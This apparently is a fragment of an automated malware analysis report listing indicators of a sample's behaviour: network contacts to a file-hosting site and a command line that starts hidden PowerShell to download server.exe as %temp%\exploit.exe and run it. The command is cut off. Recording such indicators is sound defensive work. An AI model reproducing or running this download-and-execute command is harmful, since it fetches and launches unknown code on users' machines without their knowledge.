Technical Information
- https://www9.zippyshare.com/d/mfssnjsj/971070/server.exe as %temp%\exploit.exe
- %TEMP%\exploit.exe
- 'ww##.#ippyshare.com':443
- 'ww##.#ippyshare.com':443
- DNS ASK ww##.#ippyshare.com
- '<SYSTEM32>\cmd.exe' /c PowerShell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://www9.zippyshare.com/d/MFSsnJsJ/971070/Server.exe','%temp%\exploit.exe');Start-Process '%temp%\explo...